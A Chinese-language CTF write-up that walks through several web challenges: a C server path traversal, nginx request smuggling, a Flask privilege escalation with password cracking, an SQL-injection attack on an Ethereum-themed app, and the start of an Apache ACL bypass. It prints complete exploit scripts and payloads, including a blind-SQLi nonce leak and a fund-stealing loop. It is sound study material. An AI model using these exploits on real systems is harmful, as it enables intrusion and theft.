前言
一直从去年比赛结束拖到现在,我也是个神人了
本篇将复现Web方向全部题目(不包括PWN+Web),包括step by step
已知用火 (1) / Custom Web Server (1)
一道C语言web题,比较少见,不过仔细分析一遍后会对C语言的socket编程有初步的理解,所以我们来详细分析一下
拿到附件后发现只有srv/
里的静态文件和server.c
的逻辑,那就来看c程序
首先是setvbuf
这个函数的主要作用是将标准输入、输出、错误用全缓冲放到NULL缓冲区里。
当我们在对系统进行输入与输出时,系统并不会直接从物理硬件读取内容,而是会放到缓冲区里,等触发一定条件后才会将从缓冲区内取出使用。而在这个程序里的条件就是这个全缓冲,会将我们输入的内容全放到NULL里,也就是空,这样做的目的就是让我们在标准输入和输出无法控制这个程序。
接着声明服务地址与客户端地址
之后创建一个socket变量。这个变量有个更专业的名字叫”套接字描述字“,但为了方便理解我这里直接叫他socket变量。
我们要想为C语言程序创建一个服务端待连接套接字(socket),就需要先创建一个变量,接着再一步步创建bind(用于为socket变量绑定地址)、listen(开启监听)、accept(收到客户端请求后确认连接)、recv(接受数据)、close(关闭连接)等,可以看下面这幅图。更详细的内容可以看这篇文章
这就是socket连接的大概流程,接着我们来解释一下这里参数的意思。
- AF_INET:这个参数意为告诉socket函数需要创建IPv4协议的连接。这个参数位为协议域(domain),又称为协议族(family),常用的协议族有AF_INET(IPv4)、AF_INET6(IPv6)、AF_LOCAL(或称AF_UNIX,Unix域socket)、AF_ROUTE等等
- SOCK_STREAM:这个参数意为需要创建流式套接字。这个参数位为需要创建的套接字类型,常用的socket类型有,SOCK_STREAM(流式套接字)、SOCK_DGRAM(数据报式套接字)、SOCK_RAW、SOCK_PACKET、SOCK_SEQPACKET等等
- 0:这个参数意为自动选择传输层协议。这个参数位为选择传输层协议,常用的协议有,IPPROTO_TCP、IPPROTO_UDP、IPPROTO_SCTP、IPPROTO_TIPC等,它们分别对应TCP传输协议、UDP传输协议、STCP传输协议、TIPC传输协议。需要注意,IPPROTO_TCP只能搭配SOCK_STREAM,因为TCP是流式传输,每个数据包之间有关联性,而不像UDP前后不分。
接着就是手动配置服务端地址
其中,INADDR_ANY
表示0.0.0.0,htonl函数的作用是将电脑的小端序改成网络字节流的大端序
接着就是绑定地址和监听,bind和listen函数如果运行成功将返回0
listen函数的第二个参数意为最大的连接等待排队个数,因为这里暂时(下面使用了多进程)没做多线程处理,所以listen一次只能处理一个连接
最后用accept函数确认连接,至此我们就能成功与客户端保持连接了。
接下来就是为这个连接使用fork函数创建一个子进程去运行。这样这个连接就会被挂载到这个子进程上,listen就能去处理排队里的下一个连接
handle_client函数为自定义函数,所以我们接着来分析一下
首先声明了两个字符数组,这个没什么好说的
接着用memset初始化,将所有数组空间用0填充
接着将从客户端发送来的数据包内容保存到buffer数组里
接着用sscanf将buffer里的内容用%s格式化后储存到requested_filename。例如我访问内容为http://127.0.0.1/index.php,那么requested_filename就为index.php
这里我在分析的时候比较疑惑为什么不是整个http请求包,而是只有一个index.php,其实仔细想想就会发现,%s会读以“空格”或“换行”为截断去读取内容,而此时buffer的内容应该长这样
GET /index.php HTTP/1.1\r\nHost: localhost\r\n...
很明显后面有空格,所以就不会包含整个包体。算是用得挺巧妙的一个地方
之后又是一个自定义函数,不过我们先不着急看它怎么实现,从样子上大概可以看出来它是用来返回500.html的页面内容
接着来到这句
FileWithSize是一个自定义结构体
也就是最后的返回值是这两个变量。read_file也是FileWithSize类型的自定义函数,跟进一下
上来又是一个自定义函数ends_with,继续跟进
一个很简单的判断逻辑,判断后缀名是否相等。这里strncmp函数作用是判断第一个参数位是否和第二个参数位相等,第三个参数位表示判断长度。不过这里当时看到字符串text和整型text_length拿来加减有点懵,经过查阅后得知C语言中字符数组如果被拿来加减,其实就会改变其指针指向的位置,这里的运算操作就恰好能让指针落在后缀名里的.
符号上,是第二个利用得很巧妙的地方
因此我们可以得知只能用这四种后缀名。回到read_file
定义数组和赋值,snprintf意为将第四个参数位中的值和第三个参数位中的值拼接后,为第一个参数位输入第二个参数位的值的长度的值。也就是说我们不能为real_path输入超过1024个字符,包括public/
。并且,根据snprintf的特性,它允许输入的内容长度大于第二个参数位的值,甚至是第一个参数位的数组大小,因为它只会输入第二个参数位那么多的字符,这正是漏洞点。
因为public/
恰好占了7个字符,如果我们将filename的数量控制在1019个字符(因为在handle_client中的sscanf存在一个/
,所以发包的时候记得从第一个/
之后开始算起),且最末尾为.js
(当然也可以是其他几个允许的后缀),这样就恰好能将.js排除在1024之外,并且根据后文的内容可以得知real_path为读取文件内容的路径,这样就能轻松地达到读取任意文件的目的
已知用火 (2) / Custom Web Server (2)
为了彻底搞清楚这题的原理,耗了我很久的时间去验证read从socket缓冲区写入到buffer中的字节数以及发包个数。并且到我发稿前在网上并没有找到漏洞利用的详细说明,大部分wp认为填充字节是为了绕过nginx,其实并不是,且没有对为什么要发送三个包作出详细说明。接下来我们来仔细分析一下
C程序部分和上题一模一样,不过C程序这次并不暴露端口了,而是用nginx套了一层
用stream模块处理数据流,做反向代理
如果直接拿上一题payload打会400
这是因为Nginx 在处理 HTTP 请求时会对 URL 进行规范化处理,包括移除冗余的路径分隔符(/./)和解析路径遍历(../),这些路径在规范化后可能会导致无效路径或超出 Nginx 的处理范围(https://joshua.hu/proxy-pass-nginx-decoding-normalizing-url-path-dangerous#nginx-proxy_pass)
其实从nginx配置文件里就能看出,除了上面这一点,nginx并没有对我们发送的内容做什么拦截,也没有说每个数据包的大小限制是多少。因此我们可以暂时不看nginx,而是重新关注一下C代码
在思来想去后,觉得最后的利用点依然是利用第一题的payload路径穿越读取文件,但要怎么把这个被nginx干掉的payload带进去呢?这里我就想到了请求走私,也就是让nginx只认第一个包,把第二个包当作是第一个包的body而不是header,就能达到这个目的。
那么我们可以来初步构造一个payload,大概长这样
GET /index.html HTTP/1.1
Content-Length: 1024
Host: localhost
GET /////(因为原payload比较长,这里我就不全部粘贴了)/../flag.txt.js #这一行一共1024个字符,./.和///两种payload均可,只要能凑够字符个数
如果这个包发给nginx后会发生什么呢?首先nginx看到你的包体很正常,原样放行给server。server接收到后将这个数据包所有字节存放在socket接收缓冲区,并交给handle_client函数处理,在handle_client中由read进行读取。
我们可以使用下面这段代码来看一下buffer到底读了什么
输出结果会是16进制字符,进docker logs env-web-1
复制到cyberchef里看一下就可以得到buffer
read只会将1024个字节存入到buffer,所以它会将下面这部分存入到buffer
GET /index.html HTTP/1.1
Content-Length: 1024
Host: localhost
GET ////(省略一大段)/ #最后的/就是第1024个字符
此时我们会发现,第二个请求并没有被完整的读取,还没读到最后的flag.txt.js就停了,所以我们得想个办法让read读到完整的第二个请求。怎么办呢?往第一个请求里塞东西就好了
GET /index.html HTTP/1.1
Content-Length: 1024
Host: localhost
Foo: aaa(省略一大段,一共931个a,和上面的请求头与下面的\r\n加起来一共1024个字符)aaaa
GET /////(省略一大段)/../flag.txt.js
同样发送给nginx,nginx不会觉得有异常,照样转发给server。read读完第一个请求后,会先对这个请求进行build_response,将index.html的内容返回给我们。接着再读取第二个请求,第二个请求尽管没有请求头,但如果仔细阅读C代码会发现其实它根本不在乎你的请求头,只在乎你GET /
后面的东西。因为你的请求头会随着HTTP/1.1
前的空格被截断掉,这在上一题中就有介绍
接下来,理论上来说flag就应该返回给我们。但事实上并没有,我在这个地方琢磨了非常久,直到我使用tcpdump在env-proxy-1容器里抓到这个包
我的nginx在收到从server发来的第二个请求的回包时主动给server一个RST,我便恍然大悟。之所以接收不到flag的回包,就是因为nginx不认识这个回包,认为这个回包有错误,所以就会把它丢掉。而这个回包究竟长什么样,我们可以使用第一题里没有nginx的容器得到答案
我们在第一题只执着于获得到flag,很容易忽略这个回包到底长什么样。可以看到,这个回包里携带了两个响应头,且格式混乱,nginx当然不认识,所以才会给server一个RST。为了解决这个问题,我们就得让第三个包的响应也变得有意义,这样nginx才能将第二个包的内容也返回给我们。要做到这一点,就是让第三个包变的正常。那么正确做法就是追加一个再正常不过的包,最终数据包如下
GET /index.html HTTP/1.1
Content-Length: 1024
Host: localhost
Foo: aaa(省略一大段,一共931个a,和上面的请求头与下面的\r\n加起来一共1024个字符)aaaa
GET /////(省略一大段)/../flag.txt.jsGET /index.html HTTP/1.1\r\nContent-Length: 0\r\nHost: localhost\r\n\r\n
要注意,.js必须和GET紧贴在一起,因为s恰好是第二个包的最后一个字符,所以为了让read对第三个包正常解析,必须紧贴着,不能换行。最后引用题目作者Mystiz的exp作为本题结束
from pwn import *
import time
# add slashes to make the entire string 1019 bytes long
# in this way, we will push out .js at the very end while real_path is constructed in read_file
def pad(path):
assert len(path) <= 1016
prefix = '/' * (1016 - len(path))
suffix = '.js'
return prefix + path + suffix
if __name__ == '__main__':
r = remote('localhost', 8081, ssl=True)
path = pad('../../flag.txt')
payload = (
'GET /index.html HTTP/1.1\r\n'
'Content-Length: 1024\r\n'
'Host: localhost\r\n'
f'Foo: {"a"*931}\r\n'
'\r\n'
# smuggled request
f'GET /{path}'
'GET /index.html HTTP/1.1\r\n'
'Content-Length: 0\r\n'
'Host: localhost\r\n'
'\r\n'
)
r.send(payload.encode())
r.interactive()
在研究这题时我还发现一些小细节,例如curl会自动添加user-agent等头部,且没有相关参数关闭自动添加,只能用-H
手动设置为空;burpsuite默认会自动识别并修改Content-Length
,在下图可以关闭
新免費午餐 / New Free Lunch
一道step by step,我是一血,可惜没截图哈哈
一个别踩白块游戏,300分拿flag
看一下页面代码,可以看到是前端算分,猜测后端只做对hash对校验,不做对分数的校验。
所以直接在console改好分数执行一遍,发包就行
另外,这题在搭建的时候碰到了一个原因未知的小问题。在我macos的docker desktop环境下直接docker-compose up -d
虽然能正常起容器但无法正常访问,于是我便打算进容器看看怎么回事,进去后发现啥工具也没有,想apt又只有www权限没法安装,所以就改了一下USER重新部署
启动后发现….就莫名其妙的可以访问了?工具都还没装呢,不清楚为什么。如果你也碰到这个问题或许也可以试试改一下权限,可能是apache没正常启动,也可能是我macos的原因
米斯蒂茲的迷你 CTF (1) / Mystiz’s Mini CTF (1)
python代审做得比较少,这题好好分析一下。
这题目录结构其实很简单,app下用来放主程序,还有个叫migrations的放了一个env.py和一个versions目录,粗看env.py不知道是干嘛的,看了versions里层次分明的表结构确定这是个数据库。
知道大概功能后回来看主程序,从app.py看起。
运行几个引用进来的包的init_app函数,先看看这个引用的config.json
发现是用了个sqlite,推测是刚才那个数据库文件生成的。所以继续往下看,会发现views不是单一文件,而是一个文件夹,所以从__init__.py
看起。
发现它定义了一个MethodView的继承类GroupAPI,粗看名字没法看出是干嘛用的,不过经查阅后发现这个父类的get函数就是用来处理get请求的,post也一样。所以主要看它怎么处理请求就行。
可以看到它接收了一个group参数,判断它的开头是不是_
,并检查它在model中是否存在。如果满足这个if就创用collections.defaultdict创建一个空列表,用for循环逐个读取group里的值。那么,这个model是从哪传进来的呢,往下看init_app会不会有线索
init_app就是注册flask蓝图,也就是为这一整个项目注册几个跨模块的路由。看看这个register_api函数是干嘛的
蓝图注册完需要添加到flask的路由表里,所以这个函数的目的就是让刚才注册的路由生效。接着看一下根路径pages.py在干什么
基本上就是把.html文件返回回去,没什么特别的地方。一样的方法看完api目录下的几个文件后发现,除了admin目录下的逻辑外,其他路由只要想访问,只要登陆就行。也就是说,任何人都可以访问这个api。那么这个时候就很容易想到用自己的账号去读取别人的内容。我们回到刚才的versions数据库文件里,看一下有几个用户
只有两个,并且密码也在这里做了定义
urandom意思是返回一个有n字节那么长的随机字符,player的密码只有3字节,是可以爆破的,一会儿再爆
所以我们尝试用上面分析的group来读取一下User类存储的密码。
打开网页后先正常注册一个用户,不登陆也是可以的,api没有对登陆状态做限制
可以看到有几串很长的字符串,很明显不是urandom(3)生成的,而是经过了一些别的加密算法。回到代码,看看是谁干的
在User类的属性有这些
发现这个监听器
意思是当User类中的password变量属性发生改变后就出发这个监听器下面的函数,进行加密。而这个变量什么时候会变化呢?
第一次赋值的时候肯定会。也就是从db中读出来后就会马上触发并加密。此时我们来看一下这个加密函数是怎么操作的
盐是一个4字节的随机数,不过并不需要爆破,而是可以直接获取
并且可以在数据库中看到,flag1存在于两个地方。一个是challenge,一个是player用户的attempts。所以我们同样将这两个类都看一下
challenge类特地为flag变量做了加密
attempts类没有做加密,当用flask的登陆状态检测工具检测当前登陆的用户是否是数据库里对应的
因此至此为止我们的思维链条有了个大概的雏形
获取player用户的加密后密码->爆破密码->登陆->读取attempts
所以我们拿着刚刚读到的加密后的密码来写个脚本跑就行
爆破速度很快,基本上不用等。然后就可以登陆了
看到有解题记录说明登陆成功。然后读就行
米斯蒂茲的迷你 CTF (2) / Mystiz’s Mini CTF (2)
flag2只被藏在一个地方,就是一个还未被发布的challenge
意思就是365天后才会被发布。我们肯定不可能干等,来看看还有一个admin用户还有没有利用价值。一般admin用户应该是可以看到所有题目的。密码肯定是不可能爆破了,此时应该想想能不能自己搞个新的管理员用户而不是用原来的admin
通过搜索找到注册逻辑
直接把发过来的表单原封不动放到User类,直接添加到库里
所以直接在注册表单里加上参数就能自定义自己是管理员
进来后发现比普通用户多了个Manager,说明越权成功
但啥也点不了
在代码里可以发现这个坏作者啥也没实现
所以管理员有啥用呢?看回Challenge类,会发现有一个管理员专属的admin_marshal函数
感觉和上面普通的marshal也没什么区别,但这不是关键。我们先来研究一下为什么刚才直接用/api/challenges?group=flag无法获取未发布题目的信息
可以发现在这里有一个__get__
函数,判断是否释放时间已经小于当前时间,并返回满足条件的条目。并将这个函数赋值给了query_view变量,在views目录的__init__
中就是直接饮用这个query_view来达到访问内容的目的,之后再访问marshal函数读取内容
那admin_marshal呢?看看有哪些地方用了admin_marshal
就一个,跟进,发现这就是刚刚作者使坏不写代码的那个文件
可以看到当他以get方法被访问时就会调用并由前端解析,前端只保留了无关紧要的信息。所以我们直接抓包访问一下试试
发现确实是json,但flag还是被加密。不过不要忘了这个flag也被放在了题目描述里,搜一下题目就能找到
⚡/zap
这题当时没看(可能是看到nodejs+ETH以为是纯区块链的题就没看了……),我在网上也没找到有人对这题的分析和复现,所以应该又是全网第一篇wp🤭
因为这题涉及到一些区块链的小常识,所以就来一起顺便学习一下
首先找FLAG在哪
会发现只有一个地方允许获取flag,所以应该就是利用这个地方没跑
这个注释的意思就是作者并没有写实际的提现操作,只是弹了个json回来。而要我们要做的是触发else里的内容。条件就是amountInWei这个变量要大于10**18
。这个是什么意思呢?在ETH中,打包交易信息需要耗费Gas,Gas的最小单位就是Wei,1ETH=1**18Wei
。结合这里的语境来看应该是要我们提现至少10个ETH才算能拿到flag。那既然是提现肯定不可能是我们自己虚构出来的,让我们回到web题最开始应该看的入口
await runQuery(db, `INSERT INTO users (account, deposit_nonce, transaction_nonce, balance) VALUES ('${process.env.SERVICE_WALLET_ACCOUNT}', '${depositNonce}', '${transactionNonce}', '1000000000000000000')`)
在index.js中可以看到,如果balance单位是Wei,那么这个系统自带用户里正好有1ETH,所以应该就是从这个账户里偷出来,只不过我们目前并不知道它单位是什么。所以我们就来分析一下能偷的点在哪
index.js除了定义路由和建表外没有别的操作,api.js最长,逻辑最多,先看api.js
首先是登陆,从包体获账号和签名,并且将账号放到getBufferFromHex里,跟进这个函数看看
大概就是先判断hexString的长度是否与byteLength相等,然后正则匹配/0x[0-9a-f]{N}/
是否能匹配得到,最后把hexString从第二个字符位开始转换成二进制存到buffer,最后返回buffer。回到login看一下这个buffer被拿去干了什么
暂时没做数据处理,只判断了是否return非空,所以只要输入的account符合上面所说的规范即可合格
再往下的signatureBuffer也一样,继续往下
出现了新函数verifySignature,跟进
这部分做的是根据输入进来的签名和message倒推出公钥地址,用公钥倒推出地址,再判断和你输入进来的地址是否一致。 这里需要了解ETH钱包地址的基本获取方式,首先你需要一串私钥key,可以是一串随机字符,但必须满足“64 个字符的十六进制”这个前提条件(可以用key=os.urandom(32)生成,并声明key是bytes而不是string)。之后可以用key得到一个公钥,通过公钥可以得到钱包地址(这一过程可以用eth_account包的Account.from_key(key).address.lower()直接获取地址)。(所以你是可以通过暴力枚举私钥去获取一个你喜欢的地址的,比如0x88888….,当然要枚举到啥时候我也不知道)
并且我们知道,公钥肯定不止可以用来算地址,还能用来加密内容。假设我们将一个句子用公钥加密,那么当服务器知道这个句子的明文和加密后的秘文(也就是签名)后,就能在不知道你私钥的前提下倒推出公钥,以此来判断你输入的地址是否和签名中反推出来的一致,避免黑客偷梁换柱。这也就是verifySignature在干的事
验证通过后,接下来是SQL查询记录数,目的是看这个账户是否存在
如果不存在,duplicateUsernameCount的值为0,就会掉入下面这个if
if (duplicateUsernameCount === 0) {
const depositNonce = crypto.randomBytes(8).toString('hex')
const transactionNonce = crypto.randomBytes(8).toString('hex')
await runQuery(db, `INSERT INTO users (account, deposit_nonce, transaction_nonce, balance) VALUES ('${account}', '${depositNonce}', '${transactionNonce}', 0)`)
await runQuery(db, `INSERT INTO transactions (from_account, to_account, amount, time) VALUES ('${process.env.SERVICE_WALLET_ACCOUNT}', '${account}', '0', strftime('%Y-%m-%dT%H:%M:%SZ','now'))`)
}
req.session.account = account
这个if的目的是给这个之前在他这儿不存在的用户分配两个随机数,depositNonce(这个其实没用,是给作者打赏用的🥵)和transactionNonce(交易随机数,这个很重要),然后再写入数据库,并返回这个用户名的session
到此为止,我们分析完了登陆的逻辑,感觉是没什么可以直接登陆admin的漏洞,并且我们也还不知道作者数据库里用的单位是ETH还是Wei。所以接下来就来分析一下转账逻辑有没有缺陷
前面几行没什么好说的,和刚才一样,验证格式是否符合要求。
不过接下来就马上把我们输入进来的amount做了放大,说明我们输入进去的转账金额单位是Wei,继续往下看
const [{ balance: fromBalance, transaction_nonce: nonce }] = await runQuery(db, `SELECT balance, transaction_nonce FROM users WHERE account = '${fromAccount}'`)
if (amountInWei > fromBalance) {
return res.status(400).json({ 'error': "You don't have enough funds." })
}
到SQL中获取汇款地址的余额,并且直接和我们扩大后的amountInWei做比较,所以可以推断balance单位就是Wei,也就是服务器钱包里只有一个ETH。到这里,如果我们只是单纯把ETH偷出来肯定是不够的,所以一定有什么办法可以凭空生出ETH,只是我们还没找到方法,继续分析
和login里的一样,验证地址一致性
查询收款地址是否存在
const newNonce = crypto.randomBytes(8).toString('hex')
await runQuery(db, `UPDATE users SET balance = balance - ${amountInWei}, transaction_nonce = '${newNonce}' WHERE account = '${fromAccount}'`)
await runQuery(db, `UPDATE users SET balance = balance + ${amountInWei} WHERE account = '${toAccount}'`)
await runQuery(db, `INSERT INTO transactions (from_account, to_account, amount, time) VALUES (
'${fromAccount}', '${toAccount}', '${amountInWei}', strftime('%Y-%m-%dT%H:%M:%SZ','now')
)`)
在users表给汇款用户更新余额和交易随机数,并在transactions表记录转账记录。至此也差不多分析完了转账的大致逻辑
那么漏洞出现在哪呢?回归web题的本质,其实很容易看出这里所有的SQL查询语句用的都是拼接,可以直接进行SQL注入。但并没有传统注入题的回显点,只会在后端默默执行,并且是sqlite,所以想用SQL注入获取权限是不现实的,就算看到表数据也没用,这里没有涉及到任何密码之类的敏感信息(除了nonce),拿到flag的前提是在/withdraw
路由成功提现10ETH。
所以就把重心放在获取ETH上,再回想一下,什么地方操作了ETH余额?只有一个地方,只有转账的这两句SQL
await runQuery(db, `UPDATE users SET balance = balance - ${amountInWei}, transaction_nonce = '${newNonce}' WHERE account = '${fromAccount}'`)
await runQuery(db, `UPDATE users SET balance = balance + ${amountInWei} WHERE account = '${toAccount}'`)
我们的目的肯定是加而不是减,所以进一步缩小目标到这一句上
UPDATE users SET balance = balance + ${amountInWei} WHERE account = '${toAccount}'
可以操作的地方有两个,amountInWei和toAccount,在amountInWei注入不太现实,因为amountInWei来自于amount,而amount经过了一次BigInt,所以其结果必定是数字,那么就只有toAccount有操作空间
为了研究payload,我们创建一个库,并创一个没有随机数简单的表,插入两个实验数据
接着就可以开始尝试了。我们现在来模拟一下,假设admin向8888转账10
如果此时我们在第二句插入一个SQL注入里最喜闻乐见的or 1=1,让原本用于定位的where account='0x8888'
变成where account= '0x8888' or 1=1 -- '
,会发生什么?
会发现神奇的事情发生了,admin的金额不但没减少,8888的金额依然增加了,这是因为or 1=1满足了恒等于true,就可以匹配到所有用户,让 account=‘0x8888’失效,而这也是我们攻击的核心,能够让ETH凭空出现。
验证了可行性,接下来就是实现了。不过凭空出现的前提是汇款账户必须要有,不然就过不了下面这部分,就到不了转账
const [{ balance: fromBalance, transaction_nonce: nonce }] = await runQuery(db, `SELECT balance, transaction_nonce FROM users WHERE account = '${fromAccount}'`)
if (amountInWei > fromBalance) {
return res.status(400).json({ 'error': "You don't have enough funds." })
}
并且在下面验证签名的时候,还用到了交易随机数
而目前也只有服务器自带的那1个ETH,所以我们要想办法将fromAccount设置为这个地址并通过签名验证。要通过签名,就需要知道交易随机数,那么交易随机数要怎么获取呢?回到分配它的/login接口里,能帮我们判断内容是否正确的只有这一个地方
我们可以构造这样的payload
0x8888' or account = '{SERVICE_ACCOUNT}' and transaction_nonce like '{guess}%' --
这里的SERVICE_ACCOUNT
是服务器钱包地址。之所以要加这句的原因就在于AND优先级高于OR,当or前面的语句不满足时,就会以or后面的为准。而这个0x8888
肯定是之前没登陆过的新地址,所以自然只会生效or后面的部分
如果sql语句执行成功,语句就不会出错,就会返回状态码200,如果出错了就会返回500,也就是报错盲注。那么我们就可以写一段py脚本来完成这个盲注。并实现一下登陆和签名
from rich.progress import track
import os
import requests
from eth_account import Account
from eth_account.messages import encode_defunct
def sign(message: str, key: bytes) -> str:
message_hash = encode_defunct(text=message)
return '0x' + Account.sign_message(message_hash, key).signature.hex()
def get_address(key: bytes) -> str:
return Account.from_key(key).address.lower()
def login(key: bytes, account: any, s: requests.Session=None) -> str:
if s is None: s = requests.Session()
message = f'I am {account} and I am signing in'
signature = sign(message, key)
return s, s.post(f'{HOST}/api/login', json={
'account': account,
'signature': signature
})
admin_transaction_nonce = ''
for i in track(range(16)):
for k in '0123456789abcdef':
guess = f'{admin_transaction_nonce}{k}'
account = f"{address}' OR account = '{SERVICE_ACCOUNT}' AND transaction_nonce LIKE '{guess}%' -- "
_, r = login(key, account, s)
if r.status_code == 200:
admin_transaction_nonce += k
break
else:
assert False, 'skill issue'
return admin_transaction_nonce
但如果直接这样打是打不通的,因为我们很容易忽略最开始的getBufferFromHex对输入内容规范化过滤。我们必须输入40字符长度(不含0x)的以0x开头的hex,而不是想输什么就输什么,后面的一大串SQL语句已经远远超过了40字符。所以我们要绕过length和RegExp
if (hexString.length !== 2 + 2*byteLength) return
const regex = new RegExp(`0x[0-9a-f]{${2 * byteLength}}`)
if (!regex.test(hexString)) return
方法也很简单,在js中,.length
是不会判断你的类型的,所以长度我们可以用数组绕过。而RegExp.test会自动将非字符串类型转换为字符串(类似触发toString)再进行比较,所以我们只要将SQL语句放在一个长度为42的数组的第1位,就能同时满足这两个条件
所以修改一下脚本就变成
for i in track(range(16)):
for k in '0123456789abcdef':
guess = f'{admin_transaction_nonce}{k}'
account = [f"{address}' OR account = '{SERVICE_ACCOUNT}' AND transaction_nonce LIKE '{guess}%' -- "] + \
['' for _ in range(41)]
_, r = login(key, account, s)
if r.status_code == 200:
admin_transaction_nonce += k
break
else:
assert False, 'skill issue'
return admin_transaction_nonce
这样我们就能得到nonce。得到nonce后就要想怎么登陆服务器钱包。因为登陆的时候要签名,而签名是需要用公钥加密的,我们能得到的信息只有明文和服务器钱包地址,不足以推出公钥,就不知道它的签名到底长啥样。所以我们还是得用SQL注入的方式让fromAccount变成服务器钱包地址。和上面爆破nonce的原理大致相同,不过这次我们在用服务器地址转账前肯定要先登陆一遍。下面是payload
{address}xx' OR account = '{SERVICE_ACCOUNT}' --
之所以要在address后面加xx,就是为了让SQL执行时按OR后面的条件匹配,这样就能用管理员的账户给我们转账。所以我们接着补全代码
def steal_admin_funds(admin_transaction_nonce: str, key: bytes):
address = get_address(key)
# The first session. This is used to steal admin's fund
account1 = [f"{address}xx' OR account = '{SERVICE_ACCOUNT}' -- "] + ['' for _ in range(41)]
s, r = login(key, account1)
assert r.status_code == 200
# The second session. This is used to receive the funds
account2 = address
_, r = login(key, account2)
assert r.status_code == 200
r = transfer(key, account1, account2, admin_transaction_nonce, s, amount=1)
assert r.status_code == 500
这里有个细节,就是最后一行的结束条件是assert r.status_code == 500
而不是assert r.status_code == 200
。原因是转账时我们的payload(account1)会被填充到fromAccount,而fromAccount会经过这里
就会导致报错,所以要以500状态码结束。
至此,我们就能将管理员的1ETH偷出来。接着就是实现上面我们研究的隔空生成。由于每次最多只能生成fromAccount的账户余额数(比如fromAccount有2个,那就只能凭空给每个账户生成2个),所以我们的思路有两种
- 创建10个新的待收账户,生成一次后挨个转到自己的账户里
- 创建1个新的待收账户,用循环在每次生成完后转到自己账户里
两种方法都可以,但是第二种方法更cool一点,所以来研究一下第二种方法
我们现在一共需要有三个账户,一个是自己最后提现用的账户,一个是用来生钱的payload,还有一个就是给我们倒手的账户。也就是下面这样
账户 | 余额 |
---|---|
1 | 1 |
2 | 0 |
3 | 0 |
第一次转账,1转给3,3的payload生效,变成这样
账户 | 余额 |
---|---|
1 | 1 |
2 | 1 |
3 | 1 |
因为1要被减一遍,所以还是1,接着2转给1,就变成这样
账户 | 余额 |
---|---|
1 | 2 |
2 | 0 |
3 | 1 |
以此往复即可。所以payload就是下面这样(注意payload里的account2不重要,主要是为了满足最开始登陆的格式要求,改成1也行,只要能过格式)
账户 | payload |
---|---|
1 | 正常账户 |
2 | 正常账户 |
3 | {account2}’ or 1 – |
最后直接贴完整exp
from rich.progress import track
import os
import requests
from eth_account import Account
from eth_account.messages import encode_defunct
HOST = 'http://localhost:3000'
SERVICE_ACCOUNT = '0x71f30b7b29846a5deb9a0913b3c240b61ae027f7'
def sign(message: str, key: bytes) -> str:
message_hash = encode_defunct(text=message)
return '0x' + Account.sign_message(message_hash, key).signature.hex()
def get_address(key: bytes) -> str:
return Account.from_key(key).address.lower()
def login(key: bytes, account: any, s: requests.Session=None) -> str:
# account should be a string, or a list of strings
if s is None: s = requests.Session()
if type(account) == str:
message = f'I am {account} and I am signing in'
else:
message = f'I am {",".join(account)} and I am signing in'
signature = sign(message, key)
return s, s.post(f'{HOST}/api/login', json={
'account': account,
'signature': signature
})
def transfer(key: bytes, from_account: any, to_account: any, nonce: str, s: requests.Session, amount) -> str:
# Note: s needs to be a session signed in by "from_account"
if type(from_account) == str:
from_account_str = from_account
else:
from_account_str = ','.join(from_account)
if type(to_account) == str:
to_account_str = to_account
else:
to_account_str = ','.join(to_account)
message = f'I am {from_account_str} and I am transferring {amount} ETH to {to_account_str} (nonce: {nonce})'
signature = sign(message, key)
return s.post(f'{HOST}/api/transfer', json={
'to_account': to_account,
'amount': amount,
'signature': signature
})
# ===
def leak_admin_transaction_nonce():
s = requests.Session()
# Random key for leaking transaction nonce
key = os.urandom(32)
address = get_address(key)
admin_transaction_nonce = ''
for i in track(range(16)):
for k in '0123456789abcdef':
guess = f'{admin_transaction_nonce}{k}'
account = [f"{address}' OR account = '{SERVICE_ACCOUNT}' AND transaction_nonce LIKE '{guess}%' -- "] + \
['' for _ in range(41)]
_, r = login(key, account, s)
if r.status_code == 200:
admin_transaction_nonce += k
break
else:
assert False, 'skill issue'
return admin_transaction_nonce
def steal_admin_funds(admin_transaction_nonce: str, key: bytes):
"""Steal 1 ETH from admin"""
address = get_address(key)
# The first session. This is used to steal admin's fund
account1 = [f"{address}xx' OR account = '{SERVICE_ACCOUNT}' -- "] + ['' for _ in range(41)]
s, r = login(key, account1)
assert r.status_code == 200
# The second session. This is used to receive the funds
account2 = address
_, r = login(key, account2)
assert r.status_code == 200
r = transfer(key, account1, account2, admin_transaction_nonce, s, amount=0.01)
assert r.status_code == 500
def prepare_enough_funds(key1: bytes):
"""Repeatedly double the funds until we have enough ETH for the flag"""
key2 = os.urandom(32)
address1 = get_address(key1)
address2 = get_address(key2)
account1, account2 = address1, address2
account3 = [f"{address2}' or 1 -- "] + ['' for _ in range(41)]
s1, r = login(key1, account1)
assert r.status_code == 200
s2, r = login(key2, account2)
assert r.status_code == 200
for k in range(10):
r = s1.get(f'{HOST}/api/me')
nonce = r.json().get('transaction_nonce')
transfer(key1, account1, account3, nonce, s1, 1 * 2**k)
r = s2.get(f'{HOST}/api/me')
nonce = r.json().get('transaction_nonce')
transfer(key2, account2, account1, nonce, s2, 1 * 2**k)
def main():
admin_transaction_nonce = leak_admin_transaction_nonce()
print(f'Admin transaction nonce leaked: {admin_transaction_nonce}.')
key = os.urandom(32)
address = get_address(key)
account = address
steal_admin_funds(admin_transaction_nonce, key)
print('Stole 1 ETH from admin.')
prepare_enough_funds(key)
print('Generated 10 ETH')
s, r = login(key, account)
r = s.get(f'{HOST}/api/me')
assert r.json().get('balance') >= 10 * 10**18
nonce = r.json().get('transaction_nonce')
message = f'I am {account} and I am withdrawing 10 ETH (nonce: {nonce})'
signature = sign(message, key)
r = s.post(f'{HOST}/api/withdraw', json={
'amount': '10',
'signature': signature
})
final_message = r.json().get('message')
print(f'Done. Message returned by the API: "{final_message}"')
if __name__ == '__main__':
main()
奇美拉 / Chimera
(这题当时没做出来是我最大的遗憾😔)
先看目录结构
在Dockerfile里发现使用了apache2的proxy模块,并启用一个配置文件
最后的目的应该是去执行这个/proof....
看一下这个配置文件,就是对两个php文件做访问ip限制
接着从入口index.html开始看
观察前端代码后会发现只有一个重定向的交互
不过点进来后发现是403,应该是刚才的apache配置文件生效了,所以要想办法绕过。这里要用到一种apache配置语义模糊漏洞的绕过——ACL Bypass(https://rivers.chaitin.cn/blog/cqr0pg10lne22g7e74ig)
payload如下
http://127.0.0.1:8000/citrus.php%3Fooo.php
就能进入界面
猜测功能应该是新建文件,并通过勾选这个复选框决定要不要创建符号连接,接着就来分析代码
前面没什么好说的,主要看这部分
这里的四种函数来自CitrusWorkspace类,我们来挨个看看
